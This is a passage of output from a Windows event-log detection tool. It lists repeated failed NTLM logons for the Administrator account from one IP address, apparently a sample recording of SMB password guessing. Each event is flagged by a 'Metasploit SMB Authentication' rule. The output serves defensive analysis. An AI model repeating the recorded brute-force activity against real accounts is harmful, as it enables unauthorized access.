Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ypyd6SagvUXQHhtZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.064 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.100 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QWS37lIJ3Q6ghgMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.100 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H211KmFImpBRwTGW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 64tO5iBehXQcNc49 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xvxDngRj3j5TAwST : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O8VYRjMnxDgUTWYf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.281 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.331 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhWphTesbUf0hwi1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.331 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MO8VRRVANxIkDzEX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.429 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ziSXANiDAf7LRFz5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.429 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g0CvYYtyEcU2riBX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.527 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tPg2LKgWMeM0Oqo0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbzL9T2d4RdeCz4q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.653 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PeEfbWpoipfYtOKv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.653 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RKJW1vSrIAbRTzyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.685 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.730 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aU4G8NBru22Vc4Cl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.730 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sacBcqxV97FUihrd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.821 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 41Ms0lEMeT0jYxYj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.821 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.859 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AkQWVEHGM1NxowR0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.859 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4qKqRY7L2IQRoU57 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.906 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.954 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eMIkvwbvqc9V6CFs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.954 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PehzjCnK42ZPUE7e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.001 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1fqw2GWiYfO0kU83 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.049 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.094 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WFPJJNCFdPJl4igl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.094 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zc6CrAr7YoozKB6r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xHXminAIeV4ZJIK3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.192 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 06YmUCHNZqbaZMdZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.241 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.282 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fYoENCtP2uPy9xNh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.282 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TRJRuXJTTH1afAfH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MpnkzTlc3Uvj3hpY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.381 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.425 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oIuD8haFzR8P87rL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.425 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XL1IreMAiE564NXN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.475 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vMUiCaMGBC46MnPJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.520 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MOSWbwooyb60LExG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oSDNF7s3vbtkZIOz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.641 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JBMk0qOV6237XtK3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.641 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.694 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j41R1U1tYPvApCkZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.694 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OcPkVZSeg5VwChW8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.737 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.778 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aDLxt5gaFDTKsiVl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.778 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 94JvBKdxJkawQQMT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KgBMk00K3iC1GQem : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XdGOj9Ybm6bcCo3p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: by6F4YKorxhp5ahn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.950 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b1G6ZOgOaV6luDQN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.046 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qqSwNfvpPLQd6ZH1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.046 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.087 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mxtJJj54xSzHibHI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.087 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Y3yznfdaZ7dtwDO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.129 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esllFn4asbLxwkBu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 